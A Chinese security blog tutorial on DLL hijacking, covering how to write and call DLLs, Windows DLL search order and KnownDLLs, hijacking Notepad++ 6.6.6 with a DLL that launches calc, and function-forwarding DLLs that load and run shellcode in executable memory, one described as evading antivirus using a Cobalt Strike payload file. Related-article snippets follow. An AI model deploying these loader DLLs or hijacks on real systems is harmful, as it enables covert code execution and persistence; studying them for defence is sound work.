<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    千尋筆記:DLL劫持初探

    一顆小胡椒2022-03-22 16:37:07

    0x001 什么是DLL

    Dll(動態鏈接庫)作為 windows 的函數庫,有助于促進代碼的模塊化、代碼重用、有效的內存使用并減少磁盤空間;一個應用程序運行時可能需要依賴于多個 dll 的函數才能完成功能,如果控制其中任一dll,那么便可以控制該應用程序的執行流程。

    Linux下靜態庫名字一般是: libxxx.a windows則是: *.lib、*.h

    Linux下動態庫名字一般是: libxxx.so windows則是: .dll、.OCX(..etc)

    0x02 嘗試編寫dll

    1.VS2017,新建DLL項目

     2. 初始dll文件


    // dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"
    BOOL APIENTRY DllMain( HMODULE hModule, // 模塊句柄                       DWORD  ul_reason_for_call, // 調用原因                       LPVOID lpReserved // 參數保留                     ){    switch (ul_reason_for_call) // 根據調用原因選擇不不同的加載方式    {    case DLL_PROCESS_ATTACH:     case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}
    

    dllmain.cpp文件下引入Windows.h庫, 編寫一個msg的函數。


    // dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"#include 
    void msg() {    MessageBox(0, L"Dll Load successful!", 0, 0);}
    BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ){    switch (ul_reason_for_call)     case DLL_PROCESS_ATTACH:     case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:        break;    }    return TRUE;}
    

    然后需要在頭文件framework.h中導出msg函數


    #pragma once
    #define WIN32_LEAN_AND_MEAN             // 從 Windows 頭文件中排除極少使用的內容// Windows 頭文件#include 
    extern "C" __declspec(dllexport) void msg(void)
    

    _declspec是關鍵字,用于表示該函數、變量時導出、導入的,括號里dllexport意為其將要導出,dllimport意為其將要導入。

    extern "C"用于指定編譯器編譯后的函數別名,這樣使用時才能正確查找到。即對于變量extern int a;這樣的直接寫為extern "C" int a;即可,函數同理。

    然后進行編譯,得到dlldemo.dll

    0x03 調用dll

    新建項目,編譯生成test.exe

    // test.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。#include #include using namespace std;
    int main(){    // 定義一個函數類DLLFUNC    typedef void(*DLLFUNC)(void);    DLLFUNC GetDllfunc = NULL;    // 指定動態加載dll庫    HINSTANCE hinst = LoadLibrary(L"dlldemo.dll");    if (hinst != NULL) {        // 獲取函數位置        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");    }    if (GetDllfunc != NULL) {        //運行msg函數        (*GetDllfunc)();    }}
    

    成功調用dlldemo.dll

    0x04 Dll劫持漏洞

    原理

    如果在進程嘗試加載一個DLL時沒有并沒有指定DLL的絕對路徑,那么Windows會嘗試去按照順序搜索這些特定目錄來查找這個DLL,如果攻擊者能夠將惡意的DLL放在優先于正常DLL所在的目錄,那么就能夠欺騙系統去加載惡意的DLL,形成"dll劫持"。

    DLL路徑搜索目錄順序

    1.應用程序加載的目錄

    2.系統目錄,使用 GetSystemDirectory 獲取該路徑

    3.16 位系統目錄

    4.Windows 目錄,使用 GetWindowsDirectory 獲取該路徑

    5.當前目錄

    6.PATH 環境變量中列出的目錄

    Know DLLs注冊表項

    從Windows7 之后, 微軟為了更進一步的防御系統的DLL被劫持,將一些容易被劫持的系統DLL寫進了一個注冊表項中,那么凡是此項下的DLL文件就會被禁止從EXE自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用。

    默認情況HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 處于開啟狀態;如果手動設置為 0,關閉該安全選項,搜索順序為:在以上順序基礎上,將 5.當前目錄 修改至 2.系統目錄 的位置,其他順移。

    注冊表路徑如下:


    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
    


    另外當應用程序加載 dll 時如果僅指定 dll 名稱時,那么將按照以上順序搜索 dll 文件,不過在加載之前還需要滿足以下兩條規范:

    • 當內存中已加載相同模塊名稱的 dll 時,系統將直接加載該 dll,不會進行搜索;除非設置了 dll 重定向選項;
    • 如果要加載的 dll 模塊屬于 Known DLLs,系統直接加載系統目錄下的該 dll,不會進行搜索。

    Windows操作系統通過“DLL路徑搜索目錄順序”和“Know DLLs注冊表項”來確定應用程序所要調用的DLL的路徑,當一個進程嘗試加載一個dll的時候,會先嘗試搜索程序所處的目錄,如果沒有找到,則搜索系統即 SYSTEM32 目錄,若還沒有找到,則向下搜索16位系統目錄即 SYSTEM 目錄,然后Windows目錄,當前目錄,Path環境變量的各個目錄。


    這樣的加載順序很容易就會導致一個系統的dll被劫持,只要攻擊者將目標文件和惡意dll放在一起即可,導致惡意dll搜索順序優先于系統dll目錄加載,就能夠欺騙系統去加載惡意的DLL,形成"dll劫持"。

    手動劫持

    NotePad++(6.6.6)

    用到的工具:Process Monitor v3.60

    通過 Process Monitor 監控dll調用是一種最基礎的尋找dll劫持的方式

    設置過濾規則: (默認的不需要改變)


    Path ends with .dllResult is NAME NOT FOUNDProcess Name contains notepad++.exe
    

    然后這里找一個需要用到loadlibrary這個api的dll,這里找有這個api的原因是因為如果該dll的調用棧中存在有 **LoadLibrary(Ex)**,說明這個DLL是被進程所動態加載的。在這種利用場景下,偽造的DLL文件不需要存在任何導出函數即可被成功加載,即使加載后進程內部出錯,也是在DLL被成功加載之后的事情。

    LoadLibrary和LoadLibraryEx一個是本地加載,一個是遠程加載,如果DLL不在調用的同一目錄下,就可以使用LoadLibrary(L"DLL絕對路徑")加載。但是如果DLL內部又調用一個DLL,就需要使用LoadLibraryEx進行遠程加載,語法如下:


    LoadLibraryEx(“DLL絕對路徑”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
    

    LoadLibraryEx的最后一個參數設置為LOAD_WITH_ALTERED_SEARCH_PATH即可讓系統dll搜索順序從我們設置的目錄開始

    找到可以被劫持的dll文件后,我們需要編寫惡意dll


    // dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"#include 
    BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        system("calc");    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;    }
    

    然后編譯生成惡意dll,并放到Notepad++的根目錄下

    運行Notepad++.exe便會彈出計算器

    EasyConnectInstaller(7.6.1.1)

    轉發劫持

    使用惡意 dll 替換原文件,應用程序便可以加載我們的 dll 并執行惡意代碼,但是應用程序運行依賴于 dll 提供的函數,惡意 dll 必須提供相同的功能才能保證應用程序的正常運行。這里利用了aheadlib工具,進行直接轉發函數。

    權限維持

    1.這里利用到的測試環境是之前自己寫的testDll.exe,進行直接轉發函數,嘗試加載shellcode(不免殺)


    #include "pch.h"#include #include #include 
    //導出函數#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg")
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        unsigned char buf[] ="shellcode"        size_t size = sizeof(buf);        char* inject = (char *)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);        memcpy(inject, buf, size);        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);    }    else if (dwReason == DLL_PROCESS_DETACH)    {    }    return TRUE;}
    


    2.shellcode寫內存(免殺)

    CS生成RAW Payload,然后讀取shellcode,申請內存,寫內存,執行函數


    #include "pch.h"#include #include #include 
    //導出函數#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg")
    DWORD WINAPI DoMagic(LPVOID lpParameter){    FILE* fp;    size_t size;    unsigned char* buffer;
        fp = fopen("payload.bin", "rb");    fseek(fp, 0, SEEK_END);    size = ftell(fp);    fseek(fp, 0, SEEK_SET);    buffer = (unsigned char*)malloc(size);
        fread(buffer, size, 1, fp);
        void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(exec, buffer, size);
        ((void(*) ())exec)();
        return 0;}
    BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        HANDLE threadHandle;        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}
    

    dll文件dll劫持
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    目前還沒有任何安全廠商公開披露該組織的攻擊活動,也沒有安全廠商公開披露利用該技術的真實APT攻擊事件。由于此次攻擊活動屬于360全球首次捕獲披露,我們根據該組織擅長攻擊技術的諧音,將其命名為“旺刺”組織,并為其分配了新編號APT-C-47。
    DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件
    DLL劫持思路和研究
    2021-10-25 10:13:22
    基礎知識DLL文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。在這種利用場景下,偽造的DLL文件不需要存在任何導出函數即可被成功加載,即使加載后進程內部出錯,也是在DLL被成功加載之后的事情。
    C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll使用 cs 生成惡意 dll,重命名為?后放置到該目錄下手動挖掘Process Monitor 查找可用 dll,設置如下圖所示配置完可以保存導出配置,下次直接導入使用使用?進行測試,運行程序 filter 加載所使用的 dll 文件這里可以看出來,當?文件編寫一個基礎的彈窗 dllJAVA1. // dllmain.cpp : 定義 DLL 應用程序的入口點。CS 上線cs 生成 c 的 payload生成的?填入到下面相應的位置上CPP1
    Kaspersky AVP.exe DLL 劫持
    2022-07-21 22:53:31
    Kaspersky AVP.exe 中的 DLL 注入允許本地管理員在不知道 Kaspersky 密碼的情況
    一個應用程序運行時可能需要依賴于多個 dll 的函數才能完成功能,如果控制其中任一dll,那么便可以控制該應用程序的執行流程。
    DLL劫持的防御策略
    近日,安識科技A-Team團隊監測到一則 Node.js 組件存在 DLL 劫持漏洞的信息,漏洞編號:CVE-2022-32223,漏洞威脅等級:高危。對此,安識科技建議廣大用戶及時升級到安全版本,并做好資產自查以及預防工作,以免遭受黑客攻擊。Node.js 使用了一個事件驅動、非阻塞式 I/O 的模型,使其輕量又高效。
    aDLL是一款功能強大的代碼分析工具,可以幫助廣大研究人員以自動化的方式識別并發現DLL劫持漏洞。
    DLL 代理加載 shellcode
    2020-10-27 17:59:01
    DLL側面加載或DLL代理加載允許攻擊者濫用合法的和經過簽名的可執行文件,以在受感染的系統上執行代碼。使用上面的示例流程,將發生以下情況。簽名,目標應該是經過數字簽名的“合法”可執行文件。在運行時不安全地加載少量DLL ,可執行流必須是可劫持的,但我們不希望將超過1-3個DLL放到目標上以使我們的攻擊才能順利進行。名稱應與原始DLL名稱匹配,命名“ libnettle-7”,然后單擊“創建”。我們使用SharpDllProxy生成源代碼時定義了文件名“ ”。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类